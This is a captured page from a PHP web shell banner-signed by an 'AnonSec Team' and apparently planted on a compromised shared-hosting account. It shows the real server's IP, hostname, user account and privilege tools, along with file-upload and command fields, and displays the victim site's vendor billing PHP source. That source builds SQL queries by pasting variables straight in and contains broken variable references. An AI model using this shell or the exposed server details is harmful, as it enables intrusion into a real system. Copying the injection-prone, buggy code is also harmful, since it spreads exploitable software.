Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.97.170
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/vendor_bill.php
<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
include("header.php");
include("workdeskmenu.php");

?>

<style>

 
 
 .p{
     color: black;
          font-weight: 900;
 }
/* Automatic Serial Number Row */
.css-serial {
     font-weight: 900;
       color: black;
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

  </head>
  <body>
      
   
      <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">     
        
    <h2 Align="center">Vendor Bill</h2>
    
    <input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
   
        <table id="example2"  class="order-table table table-bordered table-hover css-serial">
                  <thead>
         
						<tr>
						       <tr><th>SR.NO</th>
						   <th>Invoice No & Vendor Name</th>
						    <th>Quantity</th>
               <th>Payment Status</th>
               <th>Action</th></tr>
          
						</tr>
				</thead>
  <?php
     
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    $sql1 ="SELECT * FROM list_vendor WHERE adminid='$re[entered_by]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
		{
$sql2 ="SELECT * FROM vendor_billing WHERE vendor='$rs1[vid]'";
$qsql2 = mysqli_query($con,$sql2);
while($rs2 = mysqli_fetch_array($qsql2))
		{
		    $sql21 ="SELECT * FROM part_vendor_billing WHERE invetory_id='$rs2[invetory_id]'";
$qsql21 = mysqli_query($con,$sql21);
while($rs21 = mysqli_fetch_array($qsql21))
		{
		     $sql212 ="SELECT * FROM medicine_inventory WHERE medicine_id='$rs22[medicine_id]'";
$qsql21 = mysqli_query($con,$sql212);
while($rs212 = mysqli_fetch_array($qsql212))
		{
     echo "
     <tr><td></td> <td><b>Invoice No :</b> $rs2[invetory_id]<br> <b>Vendor Name :</b>$rs1[name]</td><td>$rs212[Quantity]</td>$rs2[Cmrp] <br> <b>MRP :</b>$rs[mrp] <br><b>GST %:</b>$rs[gst]</td><td>$rs[Expiry_Date]</td><td>$rs[Quantity] </td>
     <td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'>
	 <li><a href='edit_inventory.php?inventory_id=$rs[inventory_id]'> <i class='glyphicon glyphicon-save'></i> Edit</a></li> 
	      <li><a href='Add_inventory.php?delid=$rs[inventory_id]')'> <i class='glyphicon glyphicon-save'></i> Remove</a></li>
	   	  </ul>
	</div></td>
              					
          </tr>                   
          
  ";
		}
		}
		}
		}
		}
		?>
		   
      
              		    </tbody>
  <tfoot>
          </tfoot>
        </table>
  

Anon7 - 2022
AnonSec Team